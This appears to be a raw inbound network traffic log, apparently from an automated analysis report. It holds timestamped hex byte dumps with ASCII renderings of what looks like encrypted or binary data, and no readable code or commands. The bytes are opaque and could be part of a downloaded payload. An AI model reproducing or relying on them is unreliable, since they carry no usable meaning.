5f e8 22 08 5c 18 00 9b 85 0f 56 f8 9d cc c0 32 49 b8 f6 73 be c5 12 0f 31 a7 b0 3f fa 24 b2 c0 f0 ef c9 8a 71 26 c4 87 92 db 3a 17 60 36 09 61 9b f5 65 7f 7e 83 55 a1 32 04 0f d5 60 f1 be b5 30 8f af 61 97 64 0d 1e Data Ascii: m!HrANc]bdul&uy_cN;A 2D7<V{fNGOF?-3zQ+VbqejE8]\|#_BDTI: JIYF_ I^GivWRp9+&3y=f9e!mX_"\V2Is1?$q&:`6ae~U2`0ad
2021-09-27 18:14:09 UTC	100	IN	Data Raw: 95 d8 b6 88 83 11 f9 ce 2c 1d fe 62 02 ab b9 76 11 0a 11 32 d8 e5 b5 ce db e3 ab 4e 3d fb 3c 09 11 7c 2b e1 83 17 94 f8 ce dc ad 3e e4 45 6d 2f 4d ca b5 0c 64 22 8f 15 ec 54 fe 02 d5 b2 19 c1 11 79 15 c3 95 1e 22 09 d7 f1 b7 54 42 f7 7b 8f 2c 88 d5 db 1a bf 89 6a 51 c7 a6 8a e4 96 11 c4 2f a3 5c d0 0d 25 42 4e 4e ff a2 b7 3b bf 1a 82 81 36 ea 1b d4 1b 52 4d dd 3f 23 f4 4c 49 48 9b e0 4e 1a 92 e6 e4 88 1a 59 1a ff 17 fb ab 0a 1e 52 1d b5 27 30 14 f5 b3 df 0d cd b9 5c 42 00 69 ac dc b2 fc 52 81 fd af bd 8e e4 74 c1 d6 a1 fd ae fb c3 16 78 8b 44 39 bf 50 89 42 fe 82 ad 08 58 18 be c3 ce cd fd fe da 41 27 7b 3c 14 67 6f 15 21 ee 6f 9f fa ae 1c b6 39 ad 9d d9 0d 37 cf 1c 65 93 9d c5 2d b2 49 33 de 95 55 3e 35 54 fc 44 b5 72 cd 4a a3 df 1c 55 60 98 72 fc a1 fb Data Ascii: ,bv2N=<\|+>Em/Md"Ty"TB{,jQ/\%BNN;6RM?#LIHNYR'0\BiRtxD9PBXA'{<go!o97e-I3U>5TDrJU`r
2021-09-27 18:14:09 UTC	102	IN	Data Raw: ae a3 37 fc 28 0d d1 e1 9f b9 3e 10 7e 79 44 d3 47 3c 32 e0 10 1a 6e fc 7b 9b 04 49 5e 2b 0c 7e fc 68 ad ac 03 a9 3b c7 0c d8 61 9b bf ad 61 68 d8 2a cb bd 98 22 7c 46 e3 d0 ff cc b8 7f d2 cc 4e 0b 69 92 a0 7b 26 7d 59 e6 46 53 3c dd a1 86 e8 5e 20 4b 3e 00 12 8f 28 e3 01 8f f0 49 d7 0a 47 57 9c 77 03 5d ac 3f e2 58 d3 c8 cf f1 df e3 7d c3 67 58 39 48 f2 67 3d 3a 3d 3d 60 f1 1a 67 28 67 a0 26 82 56 0e d0 21 73 56 08 11 b7 fa 81 e1 44 c8 78 c3 32 47 a7 f8 2d 08 d4 03 14 28 b2 d8 29 fb 35 b0 d9 e5 3f 1e b7 77 f3 ae aa 45 d2 51 3b 35 c9 fc e3 a0 ff 76 7d 6f 9a 45 8f 2c f8 0c 82 7b d0 be b9 36 90 92 b3 99 61 c8 09 df 6b d3 96 4f f3 52 6a 97 c6 a0 9f 3d 07 c9 e9 05 12 97 c6 f5 8e 8c 39 23 30 04 3d a1 5f 0f 7f 9e 44 5a 69 d8 d9 9c 8c de 91 c5 46 d0 15 77 a0 5a Data Ascii: 7(>~yDG<2n{I^+~h;aah*"\|FNi{&}YFS<^ K>(IGWw]?X}gX9Hg=:==`g(g&V!sVDx2G-()5?wEQ;5v}oE,{6akORj=9#0=_DZiFwZ
2021-09-27 18:14:09 UTC	103	IN	Data Raw: 8f da a5 6e 04 98 19 e4 47 eb 06 d3 48 06 13 13 4d 11 c5 ee 01 27 13 2d e6 b3 de 42 8c 7f 98 36 e3 7a cd 02 da cd 63 42 c9 80 80 f3 8d 1d 2b 2a 99 b5 d3 5a 28 54 5d 4e fc 9b 2a 27 41 11 b8 9d 72 46 23 85 ee b2 bf d1 25 2b bd cf 51 1d e2 8f 61 63 15 4b 52 a3 1a 5d 0d e7 8a f9 d6 02 08 4c ae 1c 27 21 08 f9 bb f4 66 cf a8 58 5d 18 91 b7 0e a4 d2 20 a7 6b af b9 92 c7 f7 d0 d0 ab fa b2 8b 65 e8 79 ad 47 31 d7 5a 88 53 fe 9e c2 ef 58 34 b3 d3 41 30 02 0b d3 4c 5b d6 3c 05 69 68 fb 33 c4 60 8c 87 bf 11 48 3c ee 0f e3 fa 3d c5 05 69 9a 8e d2 29 b5 b1 2d f8 68 43 01 3e 57 96 65 ab 69 37 72 de dc 37 50 47 a3 9d 05 5e c0 7d 21 dd b4 67 57 c2 c7 4f 66 83 f1 6f bf 8e 3a 33 e2 8a e5 4e 2c df 1a 1d 87 b3 12 db 57 8a 7b 77 de 1c 16 9a d7 f9 73 97 95 7d dc ba 1d 79 0c 99 Data Ascii: nGHM'-B6zcB+Z(T]N'ArF#%+QacKR]L'!fX] keyG1ZSX4A0L[<ih3`H<=i)-hC>Wei7r7PG^}!gWOfo:3N,W{ws}y
2021-09-27 18:14:09 UTC	104	IN	Data Raw: 35 ca df 98 2d dd c3 c5 e9 ee bf b6 6f da d7 47 f6 13 9f aa 53 5b 12 8c ed 55 50 0b 49 b0 8e e2 59 32 3b 9b fe 13 a9 3e ca ba 89 f0 58 ce 18 41 a1 9d 4a 11 46 29 30 cf 55 d4 de 54 22 76 c4 b5 45 74 56 35 43 95 ce 2c 32 29 dc 77 ce 15 76 3d 77 91 f1 63 5e 31 c2 23 19 50 1e ef b2 d0 0c 4e e1 e8 ef d0 3a 50 4f e1 6e ad d7 1c 01 68 bd 12 ab e8 22 a8 d5 e7 c1 0e 93 60 0e d4 a3 54 d1 4a 1b 05 16 bf 1b bf f4 b2 ff 7c 8c 5a 83 2f 06 1c a6 6f fa 40 b0 1a 80 90 b0 a6 56 d3 0f df 45 ce 76 ab f2 4c 4d a6 cc db 80 34 1b 33 ea 2a 62 89 dc 91 95 dc b4 a6 3d 1f 06 31 5d 1e 7d 9e a0 34 ec db ce 85 9b c2 93 cb 59 cf ed 69 83 a6 87 5e b2 ac 2f 9a f3 8d 5d 28 6a 40 c7 e5 08 35 00 93 23 30 01 f7 3d 41 32 f6 c2 65 8f d2 65 2c 60 57 da 6b 2b 0d a3 27 54 d8 9f 10 83 56 35 08 06 Data Ascii: 5-oGS[UPIY2;>XAJF)0UT"vEtV5C,2)wv=wc^1#PN:POnh"`TJ\|Z/o@VEvLM43*b=1]}4Yi^/](j@5#0=A2ee,`Wk+'TV5
2021-09-27 18:14:09 UTC	105	IN	Data Raw: bd d8 df 27 79 52 49 f7 ac b9 f3 69 92 ac 83 17 e2 3c 8f f7 a5 b2 d3 29 3d 52 ca 62 13 0b 9d 45 74 06 38 43 be e4 58 25 cd 38 fe ee 79 e3 ad 3e 9f 34 11 06 e6 94 e6 62 cf 16 5c 42 00 79 bd 1a a7 d1 5b a9 6a a8 a3 7a ee 43 f3 d2 da e2 a9 e4 c8 ea 7a dc 43 3a c4 5a e7 90 fb 81 d0 39 c1 1a ba e1 4f d5 92 5d cc 59 42 cd 35 1f 6d 77 1d cc e9 43 80 fe ca 1e 49 38 85 fb 65 f8 37 c5 16 63 95 8e c4 30 5d 4e 00 f4 69 2f 1c 3b 57 83 63 b7 09 d5 72 f2 da 73 87 7e 93 67 d2 39 e8 7d 2b cb bd 38 fb c2 95 46 78 88 11 68 a8 61 2d 0c e8 aa aa 4d 2b c5 e4 0d a3 b6 32 5e 58 a7 77 77 cc 63 60 01 d5 fd 51 1f b4 6e de ac 14 1e ba 88 b8 59 6b 7b cb dc ca 85 70 87 ee 02 15 73 50 c0 e1 72 20 15 3a 46 f2 75 ea c7 eb 8f 7c 17 87 b8 0a 1f 4e 45 09 17 d5 db d4 a4 e8 e5 8d 72 35 c6 d6 Data Ascii: 'yRIi<)=RbEt8CX%8y>4b\By[jzCzC:Z9O]YB5mwCI8e7c0]Ni/;Wcrs~g9}+8Fxha-M+2^Xwwc`QnYk{psPr :Fu\|NEr5
2021-09-27 18:14:09 UTC	107	IN	Data Raw: b1 55 39 5f d3 31 e3 d5 fc c1 41 47 63 d6 f9 c5 67 43 2b 4b 63 cf 11 12 35 59 5e e3 1c 63 11 3f be 30 76 7f c3 ce 23 0e 70 a6 13 b3 f6 27 72 f2 e0 e5 ae aa 4d b1 ea 2d f4 d5 03 14 11 b9 d8 2b fb 35 b2 d9 e4 3f 1e b7 69 f2 ae a7 45 d2 51 04 0e 60 02 1c b5 f8 7a 77 7c 8f 43 81 23 19 02 50 71 dc b1 b3 4d b8 80 b7 82 02 25 0f df 70 ca 99 47 09 53 57 b1 db d6 6f 3d 2b d9 e2 2e 8a 8e c7 f3 e5 7e eb 22 3a 38 97 39 5d 0f 6a 86 4d 31 c0 c9 dd 8f 6d c3 ae d2 44 d9 04 74 dc d7 ae 5b 80 31 f9 64 0c 98 42 11 6e 53 e6 e2 17 82 ff 92 0f 09 21 f7 28 57 3e 43 46 64 8f d3 6f 3b 74 54 20 6a 16 12 bf 52 88 d8 b3 3d a9 89 1f 09 0c 30 88 e1 c2 2a 93 8b a5 34 c5 2b cb e7 d2 b8 80 d1 89 ba ef ad dd ae 9f d1 06 ab 76 28 70 6a 16 04 23 ef c2 2c 15 1d 2f 66 26 59 e0 f1 e6 cb 54 74 Data Ascii: U9_1AGcgC+Kc5Y^c?0v#p'rM-+5?iEQ`zw\|C#PqM%pGSWo=+.~":89]jM1mDt[1dBnS!(W>CFdo;tT jR=0*4+v(pj#,/f&YTt
2021-09-27 18:14:09 UTC	108	IN	Data Raw: 26 21 04 f5 b0 f6 67 bb d2 5c 42 10 00 77 22 b3 da 48 ae 41 80 ac 83 80 ad d2 d0 ab 98 93 e4 cc ea 6a a1 49 3f d5 58 8a 39 dd 80 d6 15 71 06 b9 eb 5f de fb 8f d6 58 48 d6 14 33 6d 70 0f 5d 22 6e 8e fa 97 01 4f 57 46 94 e1 f0 1a 07 c2 5e 8f 89 b6 16 a3 4f 2d f8 67 45 15 4f 6c 87 61 b5 1d 9e 73 f2 d4 c0 8b 73 82 65 d6 a6 fb 79 4e 8a a7 57 58 1e 93 64 90 87 11 69 bd e4 0b 21 ea b6 ce 35 2c df 10 24 78 a8 30 23 54 8e 8f 77 cf 1e 16 e5 d4 f9 7f e7 ce 6e d4 b0 06 73 68 af b9 53 74 58 10 d9 d6 7d 59 8f f4 00 64 7b 79 72 e7 71 51 1f 3a 06 f6 5d 72 c5 88 85 77 8d e8 1d 10 1f 44 59 02 17 91 c0 33 f9 c4 c5 95 09 3b c6 d4 9f 0f 7a de 68 64 4d e3 e5 c4 8c c5 d7 7a a4 f5 28 25 9e 18 0b f0 2a 6d 46 ba b5 88 ce 5c 84 69 91 57 65 6a 50 87 41 86 7d e1 04 ac c9 0b ae 1c 04 Data Ascii: &!g\Bw"HAjI?X9q_XH3mp]"nOWF^O-gEOlasseyNWXdi!5,$x0#TwnshStX}Yd{yrqQ:]rwDY3;zhdMz(%*mF\iWejPA}
2021-09-27 18:14:09 UTC	109	IN	Data Raw: 63 fe 32 4d b0 42 53 ae cd 17 bc 26 aa d1 3a 77 1b b6 c6 ee 63 0e 94 6b fe c4 81 50 c6 4e 8f 4e 36 03 1d ac e4 74 6b 79 9c df 81 37 11 1b 32 61 e0 a6 a7 aa 81 91 ae 90 f1 ca 1f c5 6c 49 98 44 1a 7b e1 b5 c4 d1 b7 2d 17 db 7b 2a 76 9b c9 e3 10 cb fa 22 30 08 c5 2b 5d 0f 6e a0 4a 35 c0 d2 f1 a1 92 c2 88 b7 54 c1 13 73 bc a9 ab 4a 86 64 7a 65 0c 96 53 3a cd 53 f7 e6 19 82 15 bb 23 03 01 f1 37 da 39 ce 6d 65 9c dd 74 2b 69 56 29 c8 16 19 b7 4d fa e6 9f 14 aa 50 26 07 14 33 88 ae c3 2a 93 01 56 3f dc 39 41 59 df a2 9f 75 92 ba ef a6 10 27 90 c2 02 d5 2d 3d 64 7b bd 34 29 fc c7 3f 14 08 29 8e 30 e9 f2 f6 e2 d9 c8 74 92 2a 94 7d 76 df 13 38 8e 86 41 7f c7 f9 8e 23 8a f9 37 19 3c 9e 65 33 3c 9c 11 b6 12 c7 9f 35 21 3c 0f 29 fe 29 92 2a 10 26 6c c2 21 19 bd 49 77 Data Ascii: c2MBS&:wckPNN6tky72alID{-{v"0+]nJ5TsJdzeS:S#79met+iV)MP&3V?9AYu'-=d{4)?)0t}v8A#7<e3<5!<))&l!Iw
2021-09-27 18:14:09 UTC	111	IN	Data Raw: 61 37 fd f4 cc 59 59 d7 27 ea 6c 5c 00 19 c6 73 9d f9 b1 01 4d 25 7f 95 cd f5 3e e7 4b 78 9e 88 ac 40 a1 4f 26 f2 75 47 17 3a 46 82 76 4a 73 e5 70 ea cd 19 55 6e 96 7e f0 5f eb 51 2d d5 b6 53 6c 41 95 4c 66 9c 1a 7c ba 9f 3d 25 f3 4c a0 61 25 ac a3 0c 8f a6 3d 3f 45 a3 77 62 ca 06 87 01 f9 e5 70 8e be e1 ff ba 0c 70 3b 98 bd 53 76 58 0a d9 d6 71 1e c6 f6 00 64 5b 4e c9 f6 74 5b 24 3e 5e 08 5c 5e d0 e9 ad fd 0d e8 1b 09 70 dc 58 02 1d bd e5 2b a5 ce f8 96 1a 3e c7 c7 9a 29 84 88 d7 68 51 e5 6b 73 9b 1d c4 a6 a8 a4 19 21 88 09 0e ef 23 91 47 59 bd eb e3 8b 84 76 9b 44 60 71 71 85 5d 09 7e cd 1b 4d d1 56 a9 ca fc 4d 79 ad ff d9 a5 5c b4 47 2c bd 15 a1 cd b7 89 68 4d 1b 8a 6d 69 7a 2a a6 09 6d 26 d6 f0 ae 7a 4e 3a fd 6a e4 80 45 4b 9c 02 82 37 31 a7 86 0d 6b Data Ascii: a7YY'l\sM%>Kx@O&uG:FvJspUn~_Q-SlALf\|=%La%=?Ewbpp;SvXqd[Nt[$>^\^pX+>)hQks!#GYvD`qq]~MVMy\G,hMmiz*m&zN:jEK71k
2021-09-27 18:14:09 UTC	112	IN	Data Raw: b2 a0 3a 81 93 89 b8 92 24 f0 ce 72 c2 5f 47 05 51 3d 82 c5 db 95 53 ce cf eb 0c 78 8d f8 68 74 1c 14 09 36 2a 00 3c 5d 09 78 a2 5e 35 c1 c8 d9 96 91 c2 a6 c3 7b a0 13 64 af a4 ac 5b 99 7c d5 65 d6 9c 58 02 ec 53 f7 f7 1e 9b 04 ab e8 06 01 f7 2c 46 3b d3 93 65 a3 d5 6d 33 a9 4b 3a 79 02 16 b1 5e 6c 27 9e 38 a7 f6 33 0d da 23 7a ac c7 27 82 b0 42 30 d4 28 f8 b6 d1 94 8f d2 ba a6 fc a2 b2 27 9a c6 f2 c5 0f 2a 68 73 35 1b 38 f9 d9 25 fa 18 15 91 2e 64 e7 d7 c0 d0 5e 76 87 32 92 e4 7f 31 0b 02 1c 92 46 bf c6 b3 12 18 9d d1 91 13 25 87 46 22 3d 8f 9e 91 f3 d7 bd 29 bd 3c d3 2b fe 29 5d 34 03 23 77 fb 30 05 43 42 73 97 d8 a8 a3 03 82 65 d9 33 04 ed 77 07 a5 b7 95 ee 27 35 37 da df a1 58 d2 f0 a4 45 32 ed 26 f7 01 54 3f 16 95 ed 8b e5 bc c1 a9 3e f1 46 62 c9 23 Data Ascii: :$r_GQ=Sxht6<]x^5{d[\|eXS,F;em3K:y^l'83#z'B0('hs58%.d^v21F%F"=)<+)]4#w0CBse3w'57XE2&T?>Fb#
2021-09-27 18:14:09 UTC	113	IN	Data Raw: f3 f2 15 26 7f 91 61 fc aa f3 6e 2a dd b6 5c 4d e4 6b 4d 4a a5 18 78 69 98 43 dc eb b2 a7 4a 43 23 1b 0c 89 c3 ff 27 56 ac 60 a9 a0 c8 7b 00 df 96 83 89 b6 68 02 b7 13 56 00 83 b8 42 7b 6f d1 25 d7 57 7d ba fe 18 2e 50 af 3f 1a 6e 40 26 30 46 e7 56 6d cb 15 84 46 00 f9 14 15 2f 2b a1 03 17 d4 df 25 b6 cf f2 9e 02 20 39 d7 b3 35 6c 9a ff 78 54 e8 e5 d5 87 d8 dd 5c a5 93 1b 23 8b 96 bc f9 32 b9 9c 1a 4e e2 f4 5b 97 62 82 5c 65 60 6b 9f 4c 09 7e cd 0f 36 c9 09 bf 32 ee 40 60 2d 5b c5 7f b3 be 4e c5 42 4b 85 cd 4e e4 cb 75 65 73 90 9e 08 ce a2 09 7a 4c 0e 0c af 5c 52 35 fd 64 e4 80 4b 4b be 02 82 37 38 ff 83 37 68 ae b0 21 e5 1d 13 24 e0 a2 b5 31 fd 7b 4a 46 d6 42 b2 94 f1 d5 11 99 f0 4d 9f 0d 32 41 21 13 5d 14 41 16 a7 3b 04 d1 20 9c 6e 49 88 be b2 69 70 c2 Data Ascii: &an*\MkMJxiCJC#'V`{hVB{o%W}.P?n@&0FVmF/+% 95lxT\#2N[b\e`kL~62@`-[NBKNueszL\R5dKK787h!$1{JFBM2A!]A; nIip
2021-09-27 18:14:09 UTC	114	IN	Data Raw: f3 b4 8b e8 37 76 a2 1a 59 1a ff 11 fb fe 08 1e 52 33 b5 27 30 14 ed 9e fc 62 c8 ae a2 43 3d 6d ae 29 b3 d7 4d 57 6b 83 bf 93 e4 6f d5 c8 5f ed 84 e6 e7 ea 52 44 5a 40 fb 5f 88 46 d0 a3 d4 12 24 27 bb eb 5d e5 fd f4 cc 4a 78 d0 3c 3c 6d 70 05 34 e8 6f 9f ea ba 3b 53 38 86 83 1f fb 1b cd 04 71 9e 89 d5 d3 a2 63 2e c3 60 54 15 22 a9 86 4d b6 59 cb 58 11 dc 67 15 7e 93 65 d0 83 e8 7e 5c 9d a6 57 56 e8 95 4c 66 90 21 6d bf b7 2c 20 ea 41 a1 4d 3d c9 11 27 94 ac 37 32 a8 a7 5b 71 d7 13 79 07 c3 07 78 a4 b4 79 df ba 0b 69 ed 89 94 51 5b 72 e0 38 d4 00 30 aa f4 04 44 5f 53 c3 98 30 5a 35 3f 6c f6 5d 72 d6 db 87 6a 25 e8 11 0a b9 44 58 13 01 d9 eb 31 a5 c3 e5 71 08 17 c5 ce 94 33 7d 9f 05 65 6b e1 f2 cf 8c c0 cf 5c a5 93 08 0f 8a 33 e8 f2 51 2d 47 75 b1 c9 d6 5f Data Ascii: 7vYR3'0bC=m)MWko_RDZ@_F$']Jx<<mp4o;S8qc.`T"MYXg~e~\WVLf!m, AM='72[qyxyiQ[r80D_S0Z5?l]rj%DX1q3}ek\3Q-Gu_
2021-09-27 18:14:09 UTC	115	IN	Data Raw: 21 6a bf 37 64 a9 23 e6 2a 0a 5b 88 14 b3 fc 14 4f f9 e0 e8 d7 cc 4c 9d e2 55 aa d4 04 07 c9 a4 e7 2d d0 26 9d 15 ec eb 1f 88 48 f5 d5 14 45 d2 55 f7 61 36 12 0a ac f1 5d fe 6e 8b 43 90 36 03 14 50 71 dc bb a7 3b 8a 92 b2 86 7c de 13 21 7b f9 8e 57 0b 7c 49 a8 d7 de 91 2d 02 d2 e1 f8 68 b3 71 f5 8a e3 e9 59 75 03 15 3d 5f 74 33 89 5e 31 c8 ce df be ab c3 82 c9 44 d7 6e 2e ae a4 a8 59 9c 31 96 64 0c 98 51 04 bc 5e cf d1 09 88 01 90 2a dc 12 f3 28 38 34 cf 6d 6e a7 ce 60 24 79 51 0c 44 07 16 aa 4d 45 d6 9d 16 bd 9d 31 0a 0c 32 dd fa c2 2a 9d 88 4a 32 c7 3a 8c 4e d2 b8 8c 84 e8 bb ef a3 a3 32 9d aa 4f c5 23 2d 41 42 32 60 6c fd c6 28 12 11 30 9a 5c 36 e2 e6 f1 e7 6c 64 82 38 8a e3 1c 8c 0b 2e 16 41 5c 5d 07 65 9f 33 9f aa d5 18 3c 90 55 2a 25 9b 85 b2 35 d7 Data Ascii: !j7d#[OLU-&HEUa6]nC6Pq;\|!{W\|I-hqYu=_t3^1Dn.Y1dQ^(84mn`$yQDME12J2:N2O#-AB2`l(0\6ld8.A\]e3<U%5
2021-09-27 18:14:09 UTC	116	IN	Data Raw: fb d9 fb 74 a7 49 36 d9 a0 89 6e f4 99 d4 6a 13 19 ba ef 4a c6 ee f0 d2 4a 45 d2 2d 19 72 7d fb 33 c4 65 9f f9 a6 c6 5b 3d 9e 9a f2 f7 37 de 11 65 86 70 c2 01 ae 5e 28 c5 62 6a 85 c7 a8 78 7e ad 61 c4 73 e3 d3 0a ab 7e bf 62 ed b2 e7 7d 30 d0 b8 4c ac c3 b9 4e 4d 86 29 00 43 60 d3 22 e8 c9 e5 4c 2c db 74 1b e5 7a 88 58 12 a7 77 77 c9 32 6a 30 d3 f9 4a 89 b6 6e 23 ba 0c 60 05 9b bf 6b 6f 71 cb db d6 6a 76 b1 0a 01 42 76 4b 4d ce 71 5b 34 28 40 ed 4e 75 c5 fa 82 76 f3 e9 3d 2e 0e 42 4f 04 00 5f c7 2a a5 c5 ff 86 1f 23 4b e9 9f 33 7b 2b f2 70 6f 4f e5 c4 86 ef 0d a0 a4 b5 96 39 9b 1f 0b e1 2d 74 b8 74 99 c7 e5 5b 9e 6f 86 da 62 71 60 81 4d ff 69 f8 88 7a c9 0b be 96 f5 51 57 8f 48 ce 75 8a 6f 53 d2 b6 d6 b5 c8 4e 8b 26 73 72 8b 93 ba 64 21 b0 0e 7c 32 c7 11 Data Ascii: tI6njJJE-r}3e[=7ep^(bjx~as~b}0LNM)C`"L,tzXww2j0Jn#`koqjvBvKMq[4(@Nuv=.BO_*#K3{+poO9-tt[obq`MizQWHuoSN&srd!\|2
2021-09-27 18:14:09 UTC	118	IN	Data Raw: 02 59 36 03 1c 43 f4 65 6a 79 87 68 ba 27 0e 15 50 71 dc b6 c2 d4 92 81 bd 8d 74 d7 0f d7 6d 2b 88 78 0f 4b 4a b5 cc cd 6f 3d 2b cf fc 0a 69 82 de 0b 8b cf e9 09 32 29 c1 3e 5f 60 50 89 5e 3f ea cb e9 94 93 fb 82 c3 46 3c 13 68 be b2 a0 70 a1 4c d9 7d f2 9d 74 0b 68 20 d1 e7 08 82 0a 8a 2f 06 09 e0 d2 56 12 cc 75 68 8f da 73 da 7e 6b 26 7d 0b 16 a8 42 88 d8 b3 16 80 f0 1c db 0b 37 cf 9a c2 2a 93 89 47 30 c5 36 d3 4d d0 7e 8a f9 ad 44 ef a7 a3 34 9c f9 1d c6 23 2f 58 72 32 1b 2f f0 ce 28 2c 08 3b 98 21 5d f1 e4 f5 c9 5f 7a 96 bf a8 e1 67 ce 19 26 16 81 40 6d c7 61 11 84 b5 c9 91 19 36 90 cd 95 3f 80 aa 96 1c de 80 29 ad 88 0f 23 e9 f5 51 32 01 2c 68 f9 04 f7 ba 52 57 9a f6 b1 a2 0a 15 d1 d7 22 01 eb 75 07 bd ac 63 c7 18 3f 39 d8 e0 94 40 c8 ea a5 6d 32 ea Data Ascii: Y6Cejyh'Pqtm+xKJo=+i2)>_`P^?F<hpL}th /Vuhs~k&}B7*G06M~D4#/Xr2/(,;!]_zg&@ma6?)#Q2,hRW"uc?9@m2
2021-09-27 18:14:09 UTC	119	IN	Data Raw: 88 99 5f 3c 87 58 3b 48 7a 70 0a 2c cb 96 45 a3 5a 6e 73 f2 d4 3a 44 5b 85 f1 d6 aa fb 5f 37 47 8f 46 52 c2 9f 5f 6b 92 35 78 2f b3 0e 31 c8 a5 3b 65 3d df 1a 06 5f be 30 25 4d 8e 63 73 cf 12 51 37 d4 f9 73 fc a4 6e d4 a1 8c 3d 12 88 bc 2d 3c 71 cb df dc a6 ae ae f4 00 67 69 79 03 e6 71 5d 22 b6 41 f6 5d 73 d6 c8 94 49 1b fe 9d 35 1f 44 59 a0 06 f1 d4 3e b1 ec 51 8f 09 31 d3 fe 5c 30 7a 8f ec e9 40 e3 e5 c5 9f e5 c6 80 b2 a9 86 1b 88 18 0a 52 3b 4d 52 61 a1 cb 57 5d 88 63 85 7f a6 72 60 86 56 7a 78 e1 04 44 da 2a ae 15 eb 52 f3 1c 48 ce 7e 00 a4 70 c6 a8 5e 81 78 49 8b 3d 60 4d b6 91 96 61 2e 2e 0e 7c 23 c1 1d 8f 47 6d 3b f8 e3 db 91 40 55 35 ed a3 0f 27 98 ab 96 68 a8 a9 32 d2 f4 03 2f e6 a4 33 2f 03 7a 67 59 df 50 23 35 f1 83 3d 90 fd 56 2e 17 2d 44 3e Data Ascii: _<X;Hzp,EZns:D[_7GFR_k5x/1;e=_0%McsQ7sn=-<qgiyq]"A]sI5DY>Q1\0z@R;MRaW]cr`VzxD*RH~p^xI=`Ma..\|#Gm;@U5'h2/3/zgYP#5=V.-D>
2021-09-27 18:14:09 UTC	120	IN	Data Raw: 0b 8b e3 ed 31 27 13 0e 11 03 0e 75 82 76 1b c2 d8 df f9 0b c2 82 c9 57 d6 02 7e c0 58 ad 5b 8c 5a be b5 0e 9c 52 6d 96 52 f7 e0 1f e7 d1 91 23 0c 6e 09 2d 57 38 e6 79 66 8f d4 76 31 6e 54 35 7f 73 04 a0 5b 6d b6 68 15 ab f4 24 10 1d 27 b1 a7 ac d6 98 a3 41 26 aa fd e1 48 da d7 76 f8 ad bc f7 c8 62 34 9f db 63 3a 22 29 76 0f c7 1a 29 fa d5 35 15 00 56 64 26 75 e5 f0 9a 1f 56 65 88 5d 7f e0 67 c9 13 41 c2 95 51 6f be 9b 9e 33 9b 5f 27 06 24 a5 0d 33 35 e5 7d 9b 0d d0 87 4c 6b 16 1e 23 91 df 43 38 16 3f 18 3a 37 19 b7 2c a1 9f de a6 b1 13 7c 05 c5 20 07 fb 09 d2 b8 bd 61 80 f7 3c 39 d8 ea f2 97 db e3 ab 2a dd e9 38 0f 8e cf 28 07 58 45 ca fb b5 d6 ba 21 f8 6b 63 36 22 9b 9e 2e 7f 1d fd fa e9 54 e9 10 ad 9c 1a ed 18 0e fa c6 95 09 3f 7c f9 f2 9b 4c 2f 72 74 Data Ascii: 1'uvW~X[ZRmR#n-W8yfv1nT5s[mh$'A&Hvb4c:")v)5Vd&uVe]gAQo3_'$35}Lk#C8?:7,\| a<9*8(XE!kc6".T?\|L/rt
2021-09-27 18:14:09 UTC	121	IN	Data Raw: 5a 33 c5 e4 0d a3 82 21 37 39 5a 76 73 c9 0e 16 d0 d7 f9 73 e7 4a 6f d4 bc 1b 1e c3 8a b8 59 1f 8c ca db d0 6c 1e 7b f6 00 64 12 af c1 e5 77 48 26 24 5d e5 4a 72 d4 fc 9a 42 f3 e9 3d 07 0e 4e 49 14 29 44 3e d5 5a db db 9c 1e 3b d6 c1 80 3a 84 88 d7 6f 56 f6 f4 d0 16 d4 d2 bd ae ac 1d 24 99 0f 14 d6 d4 6e 6a 79 b3 f2 e4 32 93 68 91 5d 7a 56 73 97 41 e6 68 fe 26 bb c8 27 b3 25 ed 4d 10 0b 4a ce 79 bd 96 42 c5 bc 5b be c4 44 75 36 58 72 64 97 be 4c 3c a3 0f 54 07 c0 0e a5 7e d8 2d ee 65 f7 99 5f 5a 84 eb 83 0a 24 9b 7d 34 44 ab bb 35 ed 37 11 38 ff a4 40 29 2f 6a 77 4e e8 d0 3d 23 ec 35 86 6e 02 a8 93 1e 21 47 2a 1d 6d f5 5b c4 af 2f 80 3c cd 0c 8d 60 9b b3 a4 17 ab dc 2a d0 d4 7b 33 82 41 d7 9d 2d b5 b6 74 bd 36 4d 08 14 a0 b0 64 3e 01 9b e7 57 42 0b 55 5d Data Ascii: Z3!79ZvssJoYl{dwH&$]JrB=NI)D>Z;:oV$njy2h]zVsAh&'%MJyB[Du6XrdL<T~-e_Z$}4D578@)/jwN=#5n!Gm[/<`{3A-t6Md>WBU]
2021-09-27 18:14:09 UTC	123	IN	Data Raw: 15 e3 35 da 11 ce 6d 65 9c da 74 2c 69 50 b8 7b 0f 01 b6 c7 67 d1 87 02 37 e3 3f 20 af 34 a0 b5 d2 22 8f 33 6b 2e d4 2a f5 d2 f8 a9 8a f9 a7 6a fd a7 b2 2d b7 c5 0c c4 29 01 47 61 30 11 5d ee c6 2c 1f 14 4d 8a 27 75 f8 ea dd 58 54 65 88 3a ec f8 66 cf 00 25 cc 86 74 4d e6 65 9f 39 8e d4 84 12 14 ac 43 22 26 54 81 9d 27 d6 91 62 a7 14 1e 29 fe 23 42 2d 10 26 77 d8 34 19 bd 04 5e 9e de b1 a0 0a 13 e3 c4 20 00 f6 56 0b ba 88 6a ef 0b 39 38 de e2 ee 6e d8 e3 ab 49 2b fc 10 21 04 78 31 08 0f 3c 86 fa b4 c1 a8 2f e4 55 78 95 33 95 a1 18 46 cd 93 06 e2 5c fb 2e eb 48 18 eb 05 ec 01 c7 95 0e 35 17 38 f4 8d 51 cc 00 75 8e 2d 2e c2 c9 16 c4 fa a3 50 cd 8a 99 e3 ba 3b d1 2b b3 b5 5c 26 26 55 5c 59 fb a2 b7 33 45 b9 bf 87 09 fb 0b 4c e5 ad b8 ca 35 03 87 cf 4e 16 0b Data Ascii: 5met,iP{g7? 4"3k.*j-)Ga0],M'uXTe:f%tMe9C"&T'b)#B-&w4^ Vj98nI+!x1</Ux3F\.H58Qu-.P;+\&&U\Y3EL5N
